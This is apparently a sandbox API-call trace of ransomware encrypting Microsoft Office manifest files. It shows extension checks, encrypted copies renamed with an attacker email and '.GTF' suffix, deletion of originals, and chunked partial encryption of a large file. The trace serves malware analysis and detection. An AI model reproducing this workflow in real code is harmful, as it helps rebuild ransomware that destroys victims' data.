	[0077.533] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.533] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0077.534] lstrlenW (lpString="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 53
	[0077.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0077.534] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1261) returned 1
	[0077.534] CloseHandle (hObject=0x390) returned 1
	[0077.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0077.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0077.534] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.534] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0077.546] GetLastError () returned 0x0
	[0077.546] ReadFile (in: hFile=0x390, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0077.815] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0077.816] ReadFile (in: hFile=0x390, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.816] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.816] SetEndOfFile (hFile=0x368) returned 1
	[0077.816] CloseHandle (hObject=0x368) returned 1
	[0077.817] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.817] SetEndOfFile (hFile=0x390) returned 1
	[0077.818] CloseHandle (hObject=0x390) returned 1
	[0077.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0077.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 1
	[0077.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.819] lstrlenW (lpString=".doc") returned 4
	[0077.819] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.819] lstrlenW (lpString=".docx") returned 5
	[0077.819] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.819] lstrlenW (lpString=".pdf") returned 4
	[0077.819] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.819] lstrlenW (lpString=".xls") returned 4
	[0077.819] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.819] lstrlenW (lpString=".xlsx") returned 5
	[0077.819] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.819] lstrlenW (lpString=".ppt") returned 4
	[0077.819] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.819] lstrlenW (lpString=".zip") returned 4
	[0077.819] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.819] lstrlenW (lpString=".rar") returned 4
	[0077.819] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.819] lstrlenW (lpString=".bz2") returned 4
	[0077.819] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.819] lstrlenW (lpString=".7z") returned 3
	[0077.819] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.819] lstrlenW (lpString=".dbf") returned 4
	[0077.819] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.819] lstrlenW (lpString=".1cd") returned 4
	[0077.819] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.819] lstrlenW (lpString=".jpg") returned 4
	[0077.819] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.819] lstrlenW (lpString=".doc") returned 4
	[0077.820] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.820] lstrlenW (lpString=".docx") returned 5
	[0077.820] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.820] lstrlenW (lpString=".pdf") returned 4
	[0077.820] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.820] lstrlenW (lpString=".xls") returned 4
	[0077.820] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.820] lstrlenW (lpString=".xlsx") returned 5
	[0077.820] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.820] lstrlenW (lpString=".ppt") returned 4
	[0077.820] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.820] lstrlenW (lpString=".zip") returned 4
	[0077.820] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.820] lstrlenW (lpString=".rar") returned 4
	[0077.820] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.820] lstrlenW (lpString=".bz2") returned 4
	[0077.820] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.820] lstrlenW (lpString=".7z") returned 3
	[0077.820] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.820] lstrlenW (lpString=".dbf") returned 4
	[0077.820] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.820] lstrlenW (lpString=".1cd") returned 4
	[0077.820] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.820] lstrlenW (lpString=".jpg") returned 4
	[0077.820] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.820] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0077.820] lstrlenW (lpString="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 53
	[0077.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0077.821] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1261) returned 1
	[0077.821] CloseHandle (hObject=0x390) returned 1
	[0077.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0077.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0077.821] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.821] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0077.822] GetLastError () returned 0x0
	[0077.822] ReadFile (in: hFile=0x390, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0077.896] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0077.897] ReadFile (in: hFile=0x390, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.897] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.897] SetEndOfFile (hFile=0x368) returned 1
	[0077.897] CloseHandle (hObject=0x368) returned 1
	[0077.898] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.898] SetEndOfFile (hFile=0x390) returned 1
	[0077.899] CloseHandle (hObject=0x390) returned 1
	[0077.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0077.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 1
	[0077.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0077.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0077.899] lstrlenW (lpString=".doc") returned 4
	[0077.899] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.899] lstrlenW (lpString=".docx") returned 5
	[0077.899] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.899] lstrlenW (lpString=".pdf") returned 4
	[0077.900] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.900] lstrlenW (lpString=".xls") returned 4
	[0077.900] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.900] lstrlenW (lpString=".xlsx") returned 5
	[0077.900] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.900] lstrlenW (lpString=".ppt") returned 4
	[0077.900] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0077.900] lstrlenW (lpString=".zip") returned 4
	[0077.900] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.900] lstrlenW (lpString=".rar") returned 4
	[0077.900] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.900] lstrlenW (lpString=".bz2") returned 4
	[0077.900] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.900] lstrlenW (lpString=".7z") returned 3
	[0077.900] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0077.900] lstrlenW (lpString=".dbf") returned 4
	[0077.900] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0077.900] lstrlenW (lpString=".1cd") returned 4
	[0077.900] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0077.900] lstrlenW (lpString=".jpg") returned 4
	[0077.900] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0077.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0077.900] lstrlenW (lpString=".doc") returned 4
	[0077.900] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.900] lstrlenW (lpString=".docx") returned 5
	[0077.900] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.900] lstrlenW (lpString=".pdf") returned 4
	[0077.900] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.900] lstrlenW (lpString=".xls") returned 4
	[0077.900] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.900] lstrlenW (lpString=".xlsx") returned 5
	[0077.900] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.901] lstrlenW (lpString=".ppt") returned 4
	[0077.901] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0077.901] lstrlenW (lpString=".zip") returned 4
	[0077.901] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.901] lstrlenW (lpString=".rar") returned 4
	[0077.901] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.901] lstrlenW (lpString=".bz2") returned 4
	[0077.901] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.901] lstrlenW (lpString=".7z") returned 3
	[0077.901] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0077.901] lstrlenW (lpString=".dbf") returned 4
	[0077.901] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0077.901] lstrlenW (lpString=".1cd") returned 4
	[0077.901] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0077.901] lstrlenW (lpString=".jpg") returned 4
	[0077.901] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.901] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0077.901] lstrlenW (lpString="AppXManifest.common.xml") returned 23
	[0077.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0077.901] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=2173046) returned 1
	[0077.901] CloseHandle (hObject=0x390) returned 1
	[0077.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml")) returned 0x220
	[0077.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.902] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 1
	[0077.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0077.902] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc64 | out: lpNewFilePointer=0x0) returned 1
	[0077.902] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc24 | out: lpNewFilePointer=0x0) returned 1
	[0077.902] ReadFile (in: hFile=0x390, lpBuffer=0x32de058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d5fc30, lpOverlapped=0x0 | out: lpBuffer=0x32de058*, lpNumberOfBytesRead=0x2d5fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0077.984] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc24 | out: lpNewFilePointer=0x0) returned 1
	[0077.984] ReadFile (in: hFile=0x390, lpBuffer=0x331e058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d5fc30, lpOverlapped=0x0 | out: lpBuffer=0x331e058*, lpNumberOfBytesRead=0x2d5fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0078.011] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d5fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0078.011] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc24 | out: lpNewFilePointer=0x0) returned 1
	[0078.011] ReadFile (in: hFile=0x390, lpBuffer=0x335e058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d5fc30, lpOverlapped=0x0 | out: lpBuffer=0x335e058*, lpNumberOfBytesRead=0x2d5fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0078.298] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.298] WriteFile (in: hFile=0x390, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x2d5fca8, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fca8*=0xc011a, lpOverlapped=0x0) returned 1
	[0078.390] SetEndOfFile (hFile=0x390) returned 1
	[0078.390] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x40000) returned 0x3f633c0
	[0078.396] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc74 | out: lpNewFilePointer=0x0) returned 1
	[0078.396] WriteFile (in: hFile=0x390, lpBuffer=0x3f633c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d5fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f633c0*, lpNumberOfBytesWritten=0x2d5fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0078.398] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc74 | out: lpNewFilePointer=0x0) returned 1
	[0078.398] WriteFile (in: hFile=0x390, lpBuffer=0x3f633c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d5fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f633c0*, lpNumberOfBytesWritten=0x2d5fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0078.400] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc74 | out: lpNewFilePointer=0x0) returned 1
	[0078.400] WriteFile (in: hFile=0x390, lpBuffer=0x3f633c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d5fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f633c0*, lpNumberOfBytesWritten=0x2d5fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0078.401] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f633c0 | out: hHeap=0x720000) returned 1
	[0078.405] CloseHandle (hObject=0x390) returned 1
	[0079.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0079.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0079.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0079.827] lstrlenW (lpString=".doc") returned 4
	[0079.827] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0079.827] lstrlenW (lpString=".docx") returned 5
	[0079.827] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0079.827] lstrlenW (lpString=".pdf") returned 4
	[0079.827] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0079.827] lstrlenW (lpString=".xls") returned 4
	[0079.827] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0079.828] lstrlenW (lpString=".xlsx") returned 5
	[0079.828] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0079.828] lstrlenW (lpString=".ppt") returned 4
	[0079.828] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0079.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0079.828] lstrlenW (lpString=".zip") returned 4
	[0079.828] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0079.828] lstrlenW (lpString=".rar") returned 4
	[0079.828] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0079.828] lstrlenW (lpString=".bz2") returned 4
	[0079.828] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0079.828] lstrlenW (lpString=".7z") returned 3
	[0079.828] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
